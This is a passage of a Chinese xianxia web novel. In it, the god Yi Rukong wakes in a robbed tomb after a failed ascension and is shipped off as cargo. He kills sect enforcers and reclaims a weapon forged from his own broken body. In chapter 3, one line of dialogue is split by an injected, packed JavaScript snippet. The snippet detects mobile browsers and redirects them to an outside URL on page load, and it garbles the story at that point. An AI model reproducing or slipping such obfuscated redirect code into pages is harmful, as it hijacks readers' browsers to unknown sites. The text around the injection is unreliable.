《昙花三部经》 1. 神明不知我是神 亦如空被迫从棺材中醒来,因为他的棺盖被人揭了。 这是他飞升失败的第三十三次轮回。 还记得万道天雷阵中,那会吐人言的白玉天书告诉他——他已用尽最后一次机会,然而,昙花三部经的第三部,还是未成,飞升,还是失败了。 失败? 在他耗尽全力,法身崩坏,终于为人间开辟五洲四海、扫除一切妖邪之后,却还是,失败了? 凭什么?这不对。 为什么自己的虚弥之境会被彻底撕裂?为什么会有这场本不该出现的雷劫?究竟要到什么程度,才算成功? 或许一切,只是骗局。 天地狂乱,亦如空在惊雷炸裂中怒叱,天生神的怒意犹胜雷霆: “什么一部二部三部经,什么升仙的经录典籍,全是一派胡言!” 他挥掌拂袖,将白玉天书强行卷入万道天雷阵中。 天书飞逃不及,当场尖叫着分崩离析,化作漫天玉屑,闪着光飞扬散落。 不得不说,那场面,倒颇具几分美感,就像他生命的最后一场雪。 可惜亦如空来不及欣赏,因为他自己的法身,也已在无休止的轰天雷鸣中彻底支离破碎,只余最后一点元神,一头扎进地界人间,长眠在神照山的万仞绝壁之下。 直到今时今日。 雷霆在经久的黑暗中似乎从未止息,直到这一刻。 意识回笼后,亦如空第一个念头是:天不亡我,如今我死而复生,必然要向那天外玉书的主人讨个说法。 第二个念头是:这些该死的黄金,硌得我好生背痛。 可惜他意识虽醒,肢体却依旧动弹不得。 那些开棺人在他头顶上方大呼小叫,惊叹不已。他只能紧闭双目,继续躺在这恼人的黄金堆上,默默听着。 目不能视,亦如空的其他感官,倒是意外清明。 他能感知到自己身下铺满的黄金,甚至能感知到那些盗宝者贪婪嗜血的粗重呼吸。 他的灵感悬于身外,已将眼下的处境一览无余。 黑魆鬼魅的墓穴石窟,墓已破,棺已开,遍地蛇尸,与人类的尸体交错混杂,腥风扑鼻。 尚且存活的盗宝人惊异地看着眼前的一切—— 洞穴正中,巨大的雕花石棺,棺中人面容俊美,苍白如纸,被火光金光交相映照着,神鬼莫辨,妖异莫名。 此处深藏山腹的墓穴,少说也有千年,怎会有一具如此鲜活的尸身? 这景象,足以令挖坟掘棺无数的盗贼也魂飞魄散。 可惊惧过后,另一种想法,渐渐占据了所有人思绪的上风。 众人的目光,从亦如空的“尸身”,移动到他身下的黄金。 幽幽金光灿灿,倒映在每个盗宝人赤红的眼底。 那样多金子,足够让任何人双目滴血。 此刻谁管他是妖是鬼,为了这些金子,神鬼皆可杀之。 亦如空顾不上关心他们,此时他才想起两个问题: 自己是何时修复出这完好的肉身的?又是如何被装进这口黄金棺材的? 他想了又想,可惜全无收获。 他遥远的记忆里,除了久远到亘古的黑暗,便只有旧日荒芜的无边焦土,和那带着血肉撕裂的焦苦气息的无尽雷霆。 来不及回忆过去,亦如空已被人拉扯着,七手八脚地从棺材中抬出来,丢在一旁。 身下硌人的黄金,换成了冰凉的石头,有黏腻的蛇血在石地上蜿蜒,逐渐沾染上亦如空的身体。 他这才发现,自己竟是赤身裸体。 也不知是哪个好心人,将他“厚葬”于此,能给这样多金子做陪葬,却不能给他穿件衣裳? 蛇血仍在身下流动,带来丝丝缕缕的痒。 但很快,那种黏腻瘙痒的触感,被一阵奇异的温暖取代。 他的身体似乎正在飞速地吸收那些血液,犹如久旱得遇甘霖。那血液中,好似暗藏灵力,正渐渐缓解他周身的僵硬。 与此同时,或许是因为分赃不均,亦或是有人想独吞更多,那伙盗宝人开始爆发出争执声,紧接着,是刀兵相接的声音。 一阵混乱,四处血溅,转眼地上又多出四五具尸首。 最后一具尸首倒下的时候,正砸在亦如空身上。 蛇血中的灵气,正在亦如空周身游走聚集,让他心烦意乱。 这意外一击,令他胸口一阵剧痛,灵感从半空中回落体内,痛感如冰裂一般,之后暖流涌动,胸腔口鼻一阵滞涩后,终于呼出了万千年之后的第一口气。 他能够呼吸了。 亦如空艰难喘息几口,便听见一声惊呼炸响:“他活了!” “什么?” “闹鬼了!那棺材里搬出来的死人,他活过来了!” 厮杀争斗落定,盗宝者还余六人存活,听闻喊叫,其余五人迅速聚拢过来,俯身查看。 看着那微微起伏的苍白胸膛,皆大惊失色。 “这东西必是个妖魔,我把他斩了!” 有人扬起刀,却又被另一把武器挡开。 “蠢货。”此刻说话的,或许是这帮人的领头,他讲话时,其他人都沉默静听,“这家伙或许比那些金子还值钱,中洲都城奉神宗要的货,你们忘了?” “你是说……” “将他运出去,必能卖个好价钱,一具千年活尸,你们以前见过吗?这可比那些山精小怪 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或许人族如今已繁荣鼎盛,不再受困于世间妖邪,又或许,他们自己已堕落成魔,暴行于世。 从山腹深处的地底洞穴退出去,再长途跋涉,走出深山,花费好一番艰难工夫,但好歹有惊无险,剩余的六人加上亦如空,终于成功到达山外绝壁下的海岸边。 地底洞窟不知年月,山间密林遮天蔽日,山外海上,却正是一个美妙的春日晌午。 此处是神照山外吗?如今已是一片沧海。 亦如空感知着温暖的阳光,感知着空气中山林与海浪的气息。 远古的血雨腥风,好似已彻底远离这个世界,又好似仍在深处潜藏,只能从这些盗宝者沾着血腥味的衣袍上窥见分毫。 众人将亦如空搬上海岸边停靠的大船,将他粗鲁地掼在甲板上,接着开始洒扫铺设。 这些凶狠的盗宝者,此刻仿佛已变成最虔诚的信徒。 他们倒上美酒,摆起香炉,焚香祈祷回航之路可以顺利。 在迷人的袅袅烟气中,亦如空昏昏欲睡,却忽地听见让他灵魂一荡的祷词: “神灵应空,大能曜世,请保佑我等,无风无浪,千金不散,一路顺利抵达中洲都城。” 应空。 应空——那正是亦如空法身的名字。 天可怜见,他们向之祈求保佑的“神明”,此刻竟就在他们脚边,被货物一般对待。 亦如空心下无语,半晌,只在心中冷笑一声。 他终究还是成了世人的神明,而他对此一无所知。 2. 血色汪洋金梭织 “再请一道镇妖符,给这活死人也贴上,弄好了,抬到船舱里去。” 领头的吩咐完,不久便有人拿来符纸,贴在亦如空额心。 休整过后,大船挂起云帆,在无边汪洋上起伏着,远离鬼魅妖邪横生的南魍洲,朝着中洲驶去。 春光明媚,碧空如洗,暖阳照耀着船身下的万顷碧波。 众人都沉默着,遥望远方海浪上闪动的金光。 来时这艘船上有二十多人,如今只剩六个,纵然幸存者各个贪婪凶残,但这一路惊天的血腥残酷,依然足够让他们在寂然中后怕许久。 亦如空被搬进一间狭窄的船舱,和装着灵鸟异兽的铁笼挤在一处。 船继续摇晃,将亦如空刚刚聚拢不久的神识再度摇散。 在周围小兽们的嘶鸣嘈杂声中,他的意识陷入昏沉,渐渐地,又坠进一片浓稠的黑暗中。 只是这回,船舷外有阳光洒进来,温柔地照耀着他的半边身体,给原本冰冷幽深的长眠,难得掺进几丝温暖。 然而,他和船上的其他人一样,都不知道,这艘船,并不能顺利抵达目的地。 它即将支离破碎,和着血色,沉没在这茫茫汪洋里。 航行十多个日夜后,大船接近东淤洲,此处海域岛屿礁石渐多,航行需加倍小心。 好在一路无风无雨,天气尚好,领头人孟材亲自掌舵,行至晌午,原本空旷的海面上,忽然远远出现一道船影。 两船相向而行,待驶近了,孟材才发现,那船杆上悬着奉神宗的旗帜,而且看纹样,级别远高于自己这奉神宗外门散舵。 孟材暗骂一声,心道倒霉,但对面船上的人已看见他们,向他打了会船的信号,他不得不按照规矩,降帆会船,等着对方前来查看。 很快,两船均已落帆,距离缓缓拉近。 对面船舷上,已站了十几个身着灰色斗篷的奉神宗弟子,只有居中一人,着暗紫长袍,看纹饰,乃是奉神宗护法执事。 等待的时间里,孟材已通知过船上其他人,此时,几人正恭敬地列在甲板上,等候对方。 待长板搭稳,护法执事带着两名弟子,施施然上了孟材的船。 孟材垂着首,偷偷抬眼一扫,见护法执事左手边一个弟子,手捧木盒长匣,右手边另一个,则提着个金线布袋。 三人皆面无表情,肃然而立。 站定之后,护法执事问道:“你们是从南魍洲返回?” 孟材答话:“正是。” “可有大收获?” “收获不多,只得一些珍禽异兽,还有些修为不高的小妖,南魍洲艰险,我们一行损兵折将,实属不易,还望护法通融。” 对方语气冷硬:“无论我通融与否,规矩是不能破的,若有品阶高的妖灵,纵有镇妖符,亦不稳妥,需交由护法执事处理,这你是知道的。” “是,在下知道。”孟材嘴上答应,心中却暗骂,谁不知道这帮人怎么想的,无非就是想前来搜刮一番。 妖物由他们自己送回中洲奉神宗,还能换取赏金,但若中途被这些人以监管之名义抢走,那可是白送了。 “走吧,去货舱看看。”护法执事道。 孟材别无他法,只能带路,行至货舱,里面果然只有一些修为不高的小妖,化形都还不会,俱零零散散关在铁笼里,封了镇妖符。 “你们这趟,果然收获不多啊。”护法执事冷冷道。 孟材抱拳赔笑:“护法大人,是小的们本事尚浅,不过您也知道,抓了这么些年,再多的山精妖怪也抓尽了,不是小的们不卖力,实在是……” 护法执事却毫不客气地打断他:“哦?是吗?可是,我的守金蛇却不是这么说的。” “守金蛇?”孟材几人变了脸色。 护法执事示意一声,他身侧那提着金线布袋的弟子应声抖开布袋口,一条通身赤霞之色,身带金线纹的红眼蛇,缓缓从袋口游弋而出。 那蛇游出布袋,原本只是懒洋洋的伸着蛇信子,却不知突然嗅到什么,身体绷直,吐露毒牙,对着孟材几人张嘴嘶咬不止。 孟材脸色难看,拳头紧握。 还好那持布袋的弟子控着毒蛇,未曾脱手,否则,他此刻恐怕已中了那蚀骨的蛇毒,无药可医。 “哼,远隔数里之外,守金蛇便闻到同类鲜血的气息,你们定然杀死过它的同类,得了不少金银珍宝,说吧,金子藏在哪里?” “什么金……我们不知……” “还想狡辩?守金蛇镇守的,必是巨宝,天下之宝,尽属奉神宗,不知你们掘了哪处藏宝或是古墓,再不老实交代,让你们通通命丧于此!” 孟材一行人为了那些黄金,拼死累活,历经磨难,如何肯老实交出? 逼到眼前,无路可退。几人对个眼色,同时暴起,有的抽出毒镖,有的亮出钩爪,有的抖出长剑,将奉神宗三人围堵在狭窄的船舱内。 “你确定要这样做?”护法执事冷眼一瞥,枯瘦凹陷的脸上杀意沸腾,“我一声呼哨,我船上的弟子们,能瞬间将你这船掀翻。” 孟材狞笑道:“不好意思了,护法大人,小的向来懂一个道理,那就是先下手为强,后下手遭殃!我们兄弟一共六人,四个在这陪您,还有两人,您猜,是不是已经下去,将你们的船底凿漏了?” 孟材手下另一人接道:“护法大人快听,恐怕您的那帮弟子们,已是自顾不暇了!” 果然,话音未落,外面另一艘大船上,已传来阵阵骚乱声。 护法执事两手仍揣在袖中,从开始到现在,他的姿势都未曾变过,此时仍旧平淡道:“凿漏了我们的船,有什么要紧,你这船我们也乘得,赔给我们就是。” 见他如此淡然自若,孟材几人有些意外,难免慌神,怕对方留有后招,不敢再耽搁,一个招呼,瞬间一起攻上前去。 船舱狭小,难以施展,几人的攻势难免受阻。 持袋的奉神宗弟子挥臂,放出蛇去,瞬间咬住一人脖颈,接着丢下布袋,抽出袖中剑,格挡另外两人掷去的毒镖和钩爪。 那持匣的却仍稳住不动,依旧站在护法执事身侧。 兵刃相交,小小的船舱一时间乱作一团,铁笼里的异兽小妖们受到惊吓,挣扎嘶叫不止。 “不自量力。”护法执事冷嘲一声,终于从袖中伸出一只干枯苍老的手,朝着身侧弟子手中的长匣上一拍,匣上符箓被应声震落。 护法执事并起两指,口中念诀,匣盖猛然大开,来不及看清是什么,金光闪过,只见一道光箭从匣中飞出,朝着孟材几人猛地射去,鬼魅一般,转瞬之间,连续穿透三人胸膛。 孟材大惊失色,见势不妙,一头撞破船舱窗棂,跃入汪洋之中。 “想逃?忘尘椎可不答应。”护法执事的低语如同厉鬼催命。 他继续念诀催动,忘尘椎从破窗追出,金光迅疾,跟着扎进海水之中,片刻之后,带着水汽和血腥,飞了回来,落在匣中。 护法执事道:“水下的几个也解决了,你去看看外面的情况,若船保不住,就弃船,叫他们都到这艘船上来。” 将尸体尽数抛进大海后,货舱显得空旷了不少。 孟材的人,手脚的确是快,奉神宗的大船已被破坏,难以弥补,终究是沉没大半,回天乏术,只能任其沉下海底。 奉神宗众人皆转移到孟材船上,人数众多,很快便找出黄金的藏匿之处。正是在这货舱底板下的夹层之中。 不过,除了黄金,这里面还有一件他们意想不到的“货物”。 那是一个人,一个沉睡的男人。 他身量颀长,身上胡乱裹着件粗布衣袍,面庞被红黄相间的镇妖符挡住大半,只露出半边瘦削的下颌。 “护法,奇怪了,没有妖气,也探不出妖丹品级。”弟子查看一番后,对着护法执事汇报道。 “哦?”护法执事来了兴趣,俯身过去,细细查看。 若不是妖,怎会用镇妖符镇着? 可是,护法执事自持功力深厚,也未从这人身上探到丝毫妖邪之气,难道说,他的道行已高深到无法窥探的地步? “取忘尘椎来。”护法执事道。 捧匣弟子将忘尘椎送到护法执事手边,旁边另有一人,恭敬地捧上一双铁甲丝的手套。 护法执事仔细地戴上手套,才从匣中取出忘尘椎,动作无比小心。 此物长约二尺,一头粗一头细,遍布金鳞,形似一支金色的冰锥,粗的那头似一个倒着的松果,镌刻层层铭文,细的那头,则如针尖芒刺,锐利无匹。 护法执事双手握住忘尘椎,将尖刺对准沉睡之人的心口,对身后众弟子道:“你们记住,妖邪之物,越是摸不透,越是危险,留之不得!此妖诡谲,我这便剖了他,看看他的妖丹,究竟藏得多深。” 话罢,他腕上使力,便要刺下。 然而,他没能刺得下去。 护法执事第一次变了脸色。 他动作凌空骤停,双手像是被人硬生生钳住般,寸移不得。 此时此刻,护法执事只觉自己仿佛握住了一座大山,有千钧之力在与他抗衡,刺也刺不下,收也收不回。 僵持无用,无法,他只能松开双手,看着那兀自悬在原地的忘尘椎,惊疑地念起驱动灵器的咒语。 可这回,咒语却也不管用。 奉神宗众弟子在旁,眼见向来冷硬无波的护法执事这般慌神,一时间面面相觑,俱有些乱了阵脚。 “护法……这……这是怎么回事……” “慌什么!”护法执事听见弟子喧哗,定了定心神,低声道,“这妖物果然古怪,快拿符……” 护法执事话音未落,惊呼声四起,因为那躺在货舱夹层之中的男人,像被一股无形的力量托着,竟缓缓悬空直起身来。 他的长发无风自舞,脸上的镇妖符卷着边兀自燃烧起来,火舌舔过,符纸转瞬化作飞灰 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狭小的空间内,俱是焦苦混杂的炽烈气味。 笼中兽鸟在扑腾嘶鸣,烈日下,一切仿佛即将爆裂。 确实发出了一声爆裂之声。 护法执事撤步欲逃时,那人蓦然一转手腕,忘尘椎调转方向,朝着护法执事背心飞去,如离弦之箭,瞬间穿透胸膛,又从另一个弟子肩头飞出,接着穿透船壁,发出一声巨响,飞将出去。 亦如空只是觉得很烦。 他再次“清梦”被扰,这一次,他运气不错,恢复了对自己身体的掌控,终于算是真正苏醒过来。 这是一次意想不到的重生,只是开头不甚美妙。 他转了转手腕,听见自己久未活动的骨节发出生涩的喀喀声。 他没有去看那些倒地的尸首,也顾不上听那些尖叫嘈杂,他原本只是被那些鸟兽之声所烦扰,一路上不得安宁,正集中精力恢复对肢体的控制。 虽被一帮不速之客打了岔,但总归算是成功了。 他不忘自己一路上早就想做的事—— 亦如空头也不回地一挥手,震碎了那些铁笼上的镇妖符,也震裂了铁笼,一时间,小妖们倾巢逃出,鸟飞兽走,四散奔离。 片刻后,船舱内终于恢复安静,外面的嘈杂声也渐渐平息。 亦如空伸了个咔嚓作响的懒腰,缓缓迈动步子,踩着杂乱的尸骸,走出舱外。 外面日头正好,天光如刺,叫他好一阵才得以适应。 海天之间,那忘尘椎竟仍在追杀跳海逃生的奉神宗弟子,寒芒疾闪,犹如在碧波巨毯上穿针引线的金梭,划出无数道带着血色的纷乱金光。 亦如空眉头微皱,他只是动动手腕,扭转了这东西进攻的方向,至于后面的一切,倒不是他有意为之。 他试图驭动尚且滞涩的灵力,试图召回那件陌生的法器,却不得成,直到杀完最后一人,那法器才猛然调转方向,竟朝他直射而来。 还好自己这身骨头适应得很快,亦如空反应迅疾,一侧身,躲过这惊险一刺。 那杀器好似无头苍蝇,不知收力,仍斜刺而下,刚猛之力竟穿透船底,一直扎进海水之中。 好生怪异凶残的东西,可是,又莫名有种熟悉的气息…… 亦如空看着被穿凿残破的木板,正蹙眉思量,忽听见舱内有人声叫喊。 走近一看,原来是一只松鼠。 那松鼠的脑袋被扭曲变形的铁笼禁锢住,铁笼沉重,它进退不得,只能锁在原地挣扎。 松鼠一边扑腾,一边用人言尖声叫喊着:“救救我,船漏了,船要沉了!” 亦如空摸了摸自己一路上饱受折磨的耳朵。 他实在不能承受更多噪音了。 于是他走上前去,准备将变形铁笼拨开,恰在这时,一道锋利金光猛然从他脚尖蹿出,竟是那忘尘椎穿透船板而来。 松鼠尖叫不止,和着忘尘椎凌空旋转时发出的呼呼风声。 亦如空抬手,正要设法抓住这发疯的杀器,却不想,那东西竟突然坚铁化作柔丝般,金光流淌,自动缠上了他的左手手腕。 毫无征兆的,这凶悍之物收敛了滔天杀气,盘旋数圈,静静坠在他腕间,像一枚精致的镯子。 亦如空莫名,想要用另一只手去触摸那东西,脑中却突然白光闪过,刺痛难忍。 紧接着,他感到周身大震,只闻四面嘲哳巨响不止,竟是木船底正从脚下断裂开来,如同被两只巨手撕扯着,掰成两半。 亦如空脚下陡然悬空,跟那卡在铁笼上的胡鼠一起,坠入海水之中。 但亦如空准备要做的事,就一定会做完,不管境况如何。 所以虽身陷海水之中,头痛欲裂,失去意识前,他还是伸出手,一弹指,将变形的铁笼击碎,放了那松鼠自由。 3. 东淤海岸残阳尽 有什么正在触碰亦如空的脸,像柳梢拂面般轻柔。 他艰难地睁开双眼,眼前海天倒悬,海鸟鸣叫着,在头顶上空飞过。 这是在近海岸边,亦如空仰面漂浮于海面,胸腔充斥着海风咸涩的气息,在他身侧,到处是破碎的船板木渣。 一只灰毛松鼠正坐在他胸前,正是先前那只被铁笼锁住脖颈的小兽,此刻它两只小爪捧着他的下巴,歪头端详他的脸,眼神中满是好奇。 见他醒来,小松鼠似乎很高兴,从他的胸口一跃,蹦跳到一块木板上,直起身子,口吐人言道:“太好啦,你终于醒了,我正愁如何将你拖上岸呢。” 亦如空从海水中起身,双脚轻易踩到礁石上,此处原来已近岛屿岸边,海水只淹到他的腰部。 时近黄昏,远方天际残阳如血,染透半湾海面。 海天交处,碧波摇红,艳色迷眼,亦如空站在海水中,看着这景象,一时出神。 “你在看什么?”小松鼠见他半晌不动,忍不住问。 亦如空摇摇头,缓缓出声:“这是何处……” 他停下来,有些不适应自己久未发声的喑哑嗓音,缓了片刻,才继续道:“你为何不逃走。” 小松鼠伸出一只小爪,指指他的左手手腕。 亦如空低头,看见自己手腕上那只金属手镯。 那镯子手指粗细,通体金鳞覆盖,盘绕三周,两端开口,一头粗圆,一头尖细,沉甸甸的,十分精致。 亦如空晃了晃手腕,那手镯瞬间发出金光,在他手中化作一支长柄小锤。 锤柄有一臂长,顶上是拳头大的锤头,锤柄自柄头开始,不断变细,至另一头柄的末段,已是尖锐如针,寒光逼人。 亦如空打量手里的东西,忽然看见锤头上的铭文间,有一个小小的锐瓣花朵纹样。 他抚摸着那个花纹,有些出神。 小松鼠清脆道:“我听他们叫它忘尘椎,这可是样了不得的法宝,我亲眼看见,它会自己飞来飞去凌空杀人呢!这么厉害的东西,却像是认主一样,自动跑到你的身上,你看,你戴着它都没事,我只是轻轻一碰,就烧掉了两根指甲!” 小松鼠将一只小爪伸出来,给亦如空展示它断缺的爪尖。 亦如空信手一抛,那忘尘椎凌空几个旋转,光芒一闪,又化成镯子,缩绕回他的手腕上。先前嗜血的凶残杀器,此刻在他手中乖顺无比,亦如空自己也感到意外。 但是这跟这胡鼠有什么关系? “所以呢?”亦如空问。 小松鼠激动地搓搓前爪:“所以,你一定不是凡人,或是隐世的大妖,或是降世的神仙,总之,你这么厉害,能不能罩着我?” 亦如空看看那毛发浸湿的小家伙,它脚底打着滑,正在木板上随海波晃来晃去,努力平衡着身体。 他想了想,没说什么,只是伸出手,让它爬到自己肩膀上,接着蹚水缓缓向岸边走去。 小松鼠开心地扒着他的肩膀,摇头晃脑道:“我名叫翘枝,在山中修行两百年,将将会口吐人言,不料被那伙人发现,中了他们的毒镖,被他们抓住,要卖去中洲。” 小松鼠说着,又兴奋起来:“不过还好,我的运气总归不错,碰上了你!我娘说过,我将来是能成仙的,成不了仙,也能当仙人的童子,我就知道,我没那么容易死!” “成仙?”亦如空闻言,轻笑一声,轻哂这小兽不知天高地厚。 那通人性的小胡鼠没在意他语气中的轻蔑,只盯着他残阳映照下的浅笑,看呆了一双小兽眼。 “乖乖……我猜得一定不错,你定是神仙!” 亦如空道:“我若是神仙,又怎会和你一样,落到他们手中。” 松鼠挠挠尖耳朵:“神仙也会打盹嘛,那些人不择手段,谁知道用了什么阴险招数。” “你就不怕我也是恶人?” “你肯定不是,我见过那些恶徒,都是些形貌粗鄙之徒,哪有你这样的神仙气度,神仙样貌。” “以貌识人,恐怕不准。” “嘿嘿,开个玩笑,我翘枝虽道行尚浅,看不出你的真身,但我知道,你肯定心善,你挫败那些恶贼,第一件事就是震碎镇妖符,劈开那些笼锁,放我们自由,自己掉进海里也不忘救我,恶人才不会干这善事!” “……” 亦如空不答话了。 他迈过杂乱的黑色礁石,在岸边找到一处平坦干燥的地面,盘腿坐下,并起二指,准备驱动灵力生火,指尖却只迸出一两颗火星子,于是只得作罢。 他试着运转气海,却一片空茫,完全找不到自己灵力所在。 当年灵力耗尽,法身损毁,毕竟不是一场梦。 他想到自己想要做的事,可若是以如今这副身躯,要如何上那九重天? 残阳坠入海面以下,月色星芒渐出,海浪拍岸,风声阵阵,已是入夜时分。 他望着远方天际,一时沉默。 小松鼠翘枝不知亦如空心中思量,跳到亦如空对面,抖抖身上的水珠,也人模人样盘腿坐下,开心道:“眼下我们自由啦,我先前听到那些人说起东淤洲,这处想必是东淤洲附近的岛屿,大海茫茫,离开那么远,我自己肯定是回不了南魍洲了,我已经想好,就跟着你,若能跟你学些法术傍身,以后就不用怕那些恶人了。” 它直身抱爪,学着人样,对亦如空鞠躬:“师父,你一定要收下我!” 亦如空没想到,甫一重回世间,便有小妖要拜自己为师。 他看看这天真机敏的小兽,还未来得及答话,忽而听见身后密林传来一连串窸窣声响,那声音相隔尚远,但亦如空五感何其敏锐,如何不知。 这东淤洲不似南魍洲多削壁奇峰,却也是山脉滩涂绵延不绝,林麓幽深,地穴处处可见,遍地流水潺湲。 亦如空听见的声音,是一连串涉水的马蹄声,正穿过红树林而来。 亦如空大手一挥,一把抓起小松鼠,靠到礁石后方,果然不过片刻,林子里奔出几匹骏马,停在海滩上。 骑在马上的人俱身着玄衣,擎着火把,想必他们已看见海面上的异常,几人勒马跳下,立即奔到海水边搜寻查看,只有打头两个像是头领的,仍骑在马上。 其中一人蹙着浓眉,思忖道:“若飞鸽传书消息没错,那今日下午,邱护法的船就该抵达,为何我们等候许久,几处能够登岛的海岸都查看过了,都不见踪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325014|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹?” 另一人粗声粗气接道:“莫不是邱老头反悔了?我就说,他在奉神宗根深蒂固,怎可能轻易反水,我们被骗了!” “急什么?倒不必妄下断言,邱老头岁数大了,多年未有进境,身怀秘宝,却只能侍奉别个,你叫他如何甘心?用这盛宴的升仙资格换他倒戈,他当然会干,或许,是路上遇着什么变故……” 两人正说着,便有人跌撞奔来,朝着马上两人回报道:“海面全是船只碎片,还找到几具尸首!” “什么?”两人闻言大惊,下了马,匆匆跟去海边查看。 “糟了,是奉神宗的人!恐怕邱护法他们已遭不测。” 海岸边一时混乱,亦如空却回味着方才听来的一言半语,来了兴趣。 听这些人话里的意思,他们知道一个关于升仙的盛宴,手里还握着所谓的“升仙资格”。 亦如空却不知,什么时候,升仙变得如此轻易了? 他这个开天辟地的“神”,现如今还在这苦海世间徘徊呢。 “原来今时不同往日,看来你娘亲没有乱说,或许你真能成仙。”亦如空抱臂靠在礁石上,对小松鼠轻声道。 翘枝挠挠脑袋,一脸懵懂。 礁石外又传来声音:“尸体上皆是致命贯穿伤,你看这痕迹,像被烙铁烧灼过一般,看来,应当正是死于邱老头手上的法宝。” “却不知究竟发生了什么,那法宝现在又在何处,我们千方百计拉拢姓邱的,要的就是他手上的东西,这下不知该往何处寻,我们的大计……” “那宝物真那样厉害?” “……那可是应空的法身碎片所炼,忘尘椎,一槌能让人魂魄离体记忆全失,一刺能转瞬间凌空杀人无数,你说呢?” “难道遇到中途截胡的?宝物若已被抢走,那可如何是好。” “事到如今,也无其他办法……我们先回去,明日再安排船只人手,到近海沿岸仔细搜查,至于找到的尸体,就让震岛义庄的冥老处理……” “是。” 众人齐齐上马,调转马头,踏沙而去。 声消尘落,天地静谧,月光在海上画出银河。 亦如空低头,借着月光,看向腕间的忘尘椎。 他已了然,此物莫名的熟悉感是缘于什么。 腕上的物件金鳞密列,曜映着月色,原本只觉精美又危险,此刻看来,竟透出古怪的悲凉。 这竟原本就是亦如空的东西,或者说,曾是他的一部分,他失去的灵力,或许还在当初法身的碎片里,并未随着神陨而消散。 海风吹动亦如空凌乱的长发,他低垂眼眸,瞳孔倒映着海面星点,光芒闪烁,他抬眼,眼底苍茫比海更深,嘴角却勾起无所谓的笑:“有意思。” “什么有意思?”翘枝好奇道。 亦如空摇头,还是那副翘枝参不透的神情。 “那些人走了,我们接下来去哪?”翘枝问。 “我掉了些东西,得找回来。” “啊?什么东西,掉在海里了?还是掉在南魍洲了?那怎么找得到啊……哎,等等我!别落下我!你别往那些人的方向去啊,他们可是想抢你手上的宝贝!……” 4. 震岛义庄百尸林 亦如空没打算连夜赶路,他只想先找个适合睡觉的地方。 最终,他停在一棵苍老的檫木前,仰头看那老树,粗枝犹如巨蟒横亘,一树黄花好似星点,月华之下,花影婆娑。 亦如空脚尖一点,轻巧地跃上横枝,将湿透的衣袍随手一解,搭在梢头,接着躺在那粗壮的树枝上,双臂枕在脑后。 他闭上眼睛道:“天亮再启程,你若要跟着我,便随我行动,若要离开,天高海阔,你去便是。” 翘枝看向树上的人影。 那人的长发垂下来,月光下,金色的檫木花似点点星火,缀在他周围。 翘枝看了一阵,喃喃自语:“奇怪呀,总觉得,在哪里见过……” 他的小脑袋想不明白,索性也不再想,三两下爬上树,在离亦如空不远的地方寻了个枝桠,蜷起身体。 连日以来处在惊惧之中,翘枝好久没能这样安稳地睡上一觉,这一睡直到天亮,翘枝被日头晃醒,爬起来伸个懒腰,正要招呼亦如空,忽然发现头顶横枝上的人不见了踪影。 松鼠一阵心慌,正不知如何是好,忽听见更高处树冠上传来声音,忙疾蹿而上,穿破花枝林叶,豁然开朗,才发现这檫木竟这般高大,站上梢头,林海尽在脚下。 亦如空立在树顶,衣袍翻飞,晨曦被他的身影劈成两半,一半是沧海浩瀚,一半是密林如波。 亦如空伸手,指向密林远方:“我们往那走。” 离开海岸,向着岛内行走,穿过红树林,往西北方向再行五里,过两个低矮的山丘,便进入一片奇怪的林子。 说这林子古怪,是因为明明时值春日,这片树林却是一片枯枝败叶,目之所及,落叶萧萧,皆是枯黄。 翘枝原先在高处遥望时,还以为是一片檫木花林,没想到竟是这般异象。 此处的树都是青岗树,除了满地落叶,地上还散着无数青岗子。 翘枝见此很是兴奋,立刻把什么古怪不古怪抛在了脑后,一路上捡捡拾拾,吃个肚圆,还不忘在腮帮子里藏上几颗。 他原本还打算让亦如空帮他打包一些,但实在不好意思开口。 亦如空却好似看出他的心思,慢悠悠道:“这林子古怪,你当心吃坏肚子。” 翘枝摸着肚皮,嘟嘟囔囔道:“我实在饿坏了,哪像你道行高深,不渴不饿,这遍地的种子,谁还能在上面下毒不成,吃不死的。” 亦如空便由他去。 翘枝原本动作灵活,在树梢地面穿来跳去,好不活泼,现下吃得太饱,行动费劲起来,不由唉声叹气,叠声抱怨自己道行不够,若是能变成人形,那该有多好。 如此念叨一阵,亦如空蓦然止住脚步,高大的身形停在翘枝眼前。 “上来吧。”翘枝听见亦如空如是说。 小鼠一阵欣喜,扒着亦如空的衣袍,灵敏地蹿到他的肩上。 一人一松鼠如此走了没多久,忽见前方枯林深处,出现一座占地不小的宅子。 那宅院墙壁斑驳,门窗老旧,俱糊着黑色的窗纸,在黄叶萧萧的山林里,像是一块灰暗的冷铁。 宅院门脸上,挂一张布满污迹刀痕的漆黑匾额,上书歪歪扭扭几个摄目大字—— 震岛尸坊。 “好、好古怪的地方。”翘枝坐在亦如空肩头,仰头看着那额匾,张大了嘴,腮帮里的青岗子都掉出一颗。 小松鼠虽看不懂上面的文字,却能嗅出此处散发的诡异气息,身上的毛发都竖了起来。 亦如空仰头看过,却不在意,见匾额之下的大门敞开着,于是提步便往前,大剌剌迈上台阶,走进这黑魆阴森的尸坊之中。 屋内昏暗无比,外头的阳光透不进分毫。 屋内没有任何桌椅摆设,只整整齐齐停放着许多棺材,而比棺材更多的,是尸体。 想是棺材放不下,那些尸身都卷在草席里,码垛一地,只在两端露出头发足底。 空气倒闻不见尸臭味,只有古怪的香料气味熏蒸着,浓郁得令人作呕。 在这暗房之中,数盏油灯燃着,灯火如豆,成了唯一的光源,除了灯芯的哔剥声,再无一丝动静。 亦如空看过一圈,扬声道:“这里只有死人么?” 话音刚落,便听见黑暗中传来一连串咳嗽声。 亦如空抱起手臂,等在原地,随着拐杖触地的敲击声,一张黝黑苍老的脸在黑暗中慢慢浮现出来。 待走得近了,一人一鼠方才看清,那是个佝偻的老汉,穿着蓝布衣,模样老得让人猜不到年龄,猜个八九十,却又觉得不止,那枯竭皮肉犹如老树,起码上了百年。 